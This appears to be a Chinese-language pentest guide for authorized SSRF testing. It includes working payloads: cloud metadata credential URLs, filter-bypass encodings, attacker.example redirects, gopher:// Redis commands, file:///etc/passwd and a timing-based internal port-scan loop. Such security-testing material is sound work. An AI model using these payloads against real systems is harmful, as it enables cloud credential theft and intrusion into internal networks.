exploiting-ssrf

利用 SSRF

SSRF 之所以重要，是因为服务器能访问你无法访问的目标：保存角色凭据的云元数据端点、没有身份验证的内部服务，以及容器网络。漏洞本身很简单；真正的功夫在于绕过过滤，以及判断哪个内部目标能让一次探测演变成系统失陷。

仅针对你获准测试的系统。

适用场景

• 任何会获取 URL 的功能：Webhook、导入、通过 URL 获取头像、链接预览、PDF／截图生成、XML／SVG 处理、通过 URI 获取文件
• 参数中包含 URL、主机名、IP 或会转换为 URL 的路径
• 源码审查发现出站 HTTP 调用的目标受用户输入影响
• 测试会“回调”客户提供的端点的集成

不适用场景

• 客户端请求伪造（CSRF）——这是完全不同的漏洞
• 更广泛的 Web 测试方法——使用 testing-web-applications
• 以源码审查为主要任务——使用 auditing-code-for-vulnerabilities
• 拿到云凭据后的后渗透——使用 exploiting-cloud-platforms
• 实际转向约定范围之外的内部系统——SSRF 的触达范围可能超出大多数测试范围的预期；继续前请先确认

先找出漏洞

# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i

# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3

每次 SSRF 测试都从带外监听器开始，因为大多数 SSRF 都是盲注的：

# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hits

仅 DNS 解析也算阳性信号。 DNS 查询没有 HTTP 请求，通常意味着服务器解析了主机名，然后阻止了连接——SSRF 确实存在，只是有过滤器挡着。这说明你应该转而尝试绕过，而不是放弃这个参数。

云元数据：高价值目标

# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.

# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token

# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
    X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
    X-aws-ec2-metadata-token: <token>

# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
    Metadata: true

# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
    Metadata-Flavor: Google

# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/pods

在此处获取的凭据应交由 exploiting-cloud-platforms 处理。报告漏洞时，应根据该角色能够执行的操作评定严重性，而不是写成“获取了内部 URL”。

其他值得尝试的目标：用于访问绑定到环回接口的管理界面的 http://localhost:<port>、Redis 和 Memcached（默认无需身份验证；如果客户端支持 gopher://，也可以通过它们访问）、9200 端口上的 Elasticsearch、通过 http://localhost:2375/containers/json 访问的 Docker 套接字，以及内部 CI/CD 仪表板。

过滤器绕过

按顺序尝试以下方法；前三种可以绕过大多数简单过滤器。

Alternate IP encodings for 169.254.169.254
  2852039166            decimal
  0251.0376.0251.0376   octal
  0xA9FEA9FE            hex
  ①⑥⑨.②⑤④…            unicode digits (some parsers normalize)

Alternate localhost
  127.0.0.1  127.1  127.000.000.1  0.0.0.0  0  [::1]  [::ffff:127.0.0.1]
  localtest.me   spoofed.burpcollaborator.net    (public DNS → 127.0.0.1)

DNS pointing where you want
  Register a name whose A record is 169.254.169.254 or an internal IP

URL parser confusion — the fetcher and the validator disagree
  http://[email protected]/
  http://169.254.169.254#expected.com/
  http://expected.com.attacker.example/
  http://attacker.example\@expected.com/
  http://[::]:80/
  Case, trailing dots, double slashes, and %2e%2e%2f in the path

Redirect chains — validator checks the first URL, fetcher follows the 302
  https://attacker.example/redirect → 302 → http://169.254.169.254/...

Protocol smuggling, when the client supports it
  file:///etc/passwd
  gopher://127.0.0.1:6379/_SET%20key%20value      (Redis via raw TCP)
  dict://127.0.0.1:11211/stat

DNS 重绑定可以绕过“解析、检查、再让 HTTP 客户端重新解析”的验证机制：第一次查询返回公共 IP，第二次返回内部 IP。这种方法适用于“我们会解析并检查 IP”的情况——唯一可靠的防御措施是只解析一次，并连接到该地址。

重定向是最常见的遗漏。 请专门测试：验证器批准初始 URL，而启用了 follow_redirects=True 的 HTTP 客户端会完整绕过检查。这也是大多数 HTTP 库的默认配置。

盲 SSRF

没有响应正文时：

1. 带外确认——DNS 和 HTTP 请求记录可以证明请求确实发生。
2. 时序——内部 IP 上的服务会快速响应；被过滤的请求会一直等待到超时。这种差异可用于端口扫描。
3. 错误差异——“无效图像”“连接被拒绝”和超时可以区分开放端口、关闭端口和过滤行为。
4. 二阶效应——即使 HTTP 响应中没有获取到的内容，生成的 PDF 或缩略图也可能包含这些内容。

# Internal port scan by timing, one target at a time
for p in 22 80 443 3306 5432 6379 8080 9200 10250; do
  s=$(date +%s%N)
  curl -s -o /dev/null "https://target/fetch?url=http://127.0.0.1:$p/"
  echo "$p $(( ($(date +%s%N)-s)/1000000 ))ms"
done

渲染服务值得单独关注：HTML 转 PDF 或截图服务会在服务器端运行完整的浏览器，因此，在提交的 HTML 中加入 <iframe src="http://169.254.169.254/..."> 或 <script>fetch(...)</script>，就能实现 SSRF，并将可读取的响应渲染到输出文档中。

需要驳斥的理由

• “它只接受允许列表中的 https:// URL。” 在相信允许列表之前，先测试重定向、DNS 重绑定和解析器混淆。
• “没有返回响应，所以无法利用。” 即使是盲 SSRF，只要能访问 IMDSv1，仍会窃取凭据；渲染器也会间接返回内容。
• “我们使用 IMDSv2，所以 SSRF 已得到缓解。” 这只对简单的 URL 抓取器有效。通过请求代理实现的 SSRF 仍能访问 IMDSv2，而且 IMDSv2 对其余内部网络毫无作用。
• “这只是一个内网 IP，严重性不高。” 严重性取决于内网目标能做什么。评分前先枚举。
• “我们会拦截 169.254.169.254。” 尝试各种编码、指向该地址的 DNS 记录，以及 IPv6 和链路本地变体。
• “这个库会验证 URL。” 库先验证，然后再次解析。这就是重绑定漏洞窗口。
• “我要映射整个内网来证明影响。” 确认可达性后就停止，并检查授权范围。SSRF 能触及的范围往往超出大多数测试项目的授权范围。

ATT&CK 覆盖范围

根据 secskills-core/ttp-index.json 生成——编辑该文件后，运行 python3 scripts/sync_attack.py --write。在报告中引用前，请根据 当前 ATT&CK 版本重新核实 ID。

初始访问 (TA0001)

• T1190 利用面向公众的应用程序——另见 testing-web-applications、testing-apis、enumerating-network-services、attacking-graphql、attacking-grpc-protobuf、exploiting-deserialization、exploiting-xxe

凭据访问 (TA0006)

• T1552.005 云实例元数据 API——另见 exploiting-cloud-platforms、attacking-eks-gke-aks

这些技术的检测内容：engineering-detections。主动搜索：hunting-threats。失陷后处理：responding-to-incidents。

参考资料

• testing-web-applications — 相关测试方法
• exploiting-cloud-platforms — 如何使用获取到的角色凭据
• auditing-code-for-vulnerabilities — 在源码中查找出站调用
• testing-apis、attacking-graphql — 通过 API 参数触发的 SSRF
• Burp Collaborator、interact.sh、SSRFmap、gopherus、nslookup/dig